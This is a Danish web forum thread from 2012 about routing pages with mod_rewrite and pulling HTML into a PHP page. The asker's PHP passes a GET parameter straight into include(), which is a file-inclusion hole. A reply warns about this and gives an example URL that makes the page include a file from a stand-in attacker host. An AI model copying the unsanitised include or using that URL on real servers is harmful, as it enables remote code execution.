Avatar billede sabumnim Novice
22. maj 2012 - 00:06 Der er 2 kommentarer

mod_rewrite spørgsmål

Hej folkens

Jeg har et spørgsmål om mod_rewrite, som jeg håber i kan hjælpe med.

En af mine bekendte er ved at lave et site med en masse kunst, i form af billeder og tegninger.

Jeg vil gerne bruge Server Side Include, for at hente indholdet fra en flad html side ind i en DIV.

SSI kode i min DIV ID CONTENT


<?php
$page = $_GET['underside'];
if (!empty($page)) {
include($page);
}
else {
include('velkommen.html');
}
?>


Min menu

<ul>
<li <?php if (basename($_SERVER["REQUEST_URI"]) == "velkommen.html") echo " class='current' ";?> ><a href="velkommen.html">Forside</a></li>
<li <?php if (basename($_SERVER["REQUEST_URI"]) == "heste.html") echo " class='current' ";?> ><a href="heste.html">Heste</a></li>
<li <?php if (basename($_SERVER["REQUEST_URI"]) == "hunde.html") echo " class='current' ";?> ><a href="hunde.html">Hunde</a></li>
</ul>



Jeg har så lavet en .htaccess som ser sådan ud

RewriteEngine On
RewriteRule ^([^/]*)$ /heste/index.php?underside=$1 [L]


Virker fint
Dette virker fint og kører uden problemer.

...men nu er det sådan at min kammerat har lavet mappe strukturen noget a la dette, som hver især indeholder omkring 10 - 15 html filer:


heste (11 html filer med billeder)
hunde (13 html filer med billeder)
katte (12 html filer med billeder)


Så jeg vil gerne vide hvordan får jeg dette til at "gå op" med en .htaccess fil som den jeg har beskrevet her ovenfor, med andre ord, skal jeg kunne "kigge ned" i den enkelte mappe og få indholdet af den pågældende html fil vist i min DIV ID CONTENT.
Avatar billede jakobdo Ekspert
23. maj 2012 - 20:25 #1
Prøv at kig på RewriteCond:
F.eks. disse 2:

RewriteCond %{SCRIPT_FILENAME} !-f
RewriteCond %{SCRIPT_FILENAME} !-d

De tjekker om der er et kald til en "rigtig" fil eller et bibliotek.

Dog skal du jo nok fjerne HESTE fra din RewriteRule...
Avatar billede jakobdo Ekspert
23. maj 2012 - 20:27 #2
Og jeg ville nok også anbefale en mere sikker løsning, end denne:

<?php
$page = $_GET['underside'];
if (!empty($page)) {
include($page);
}
else {
include('velkommen.html');
}
?>

Hvis ikke din server er beskyttet på anden måde, kan man hacke den via:

dinside.php?undersige=http://hacker.dk/hackmig.txt
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester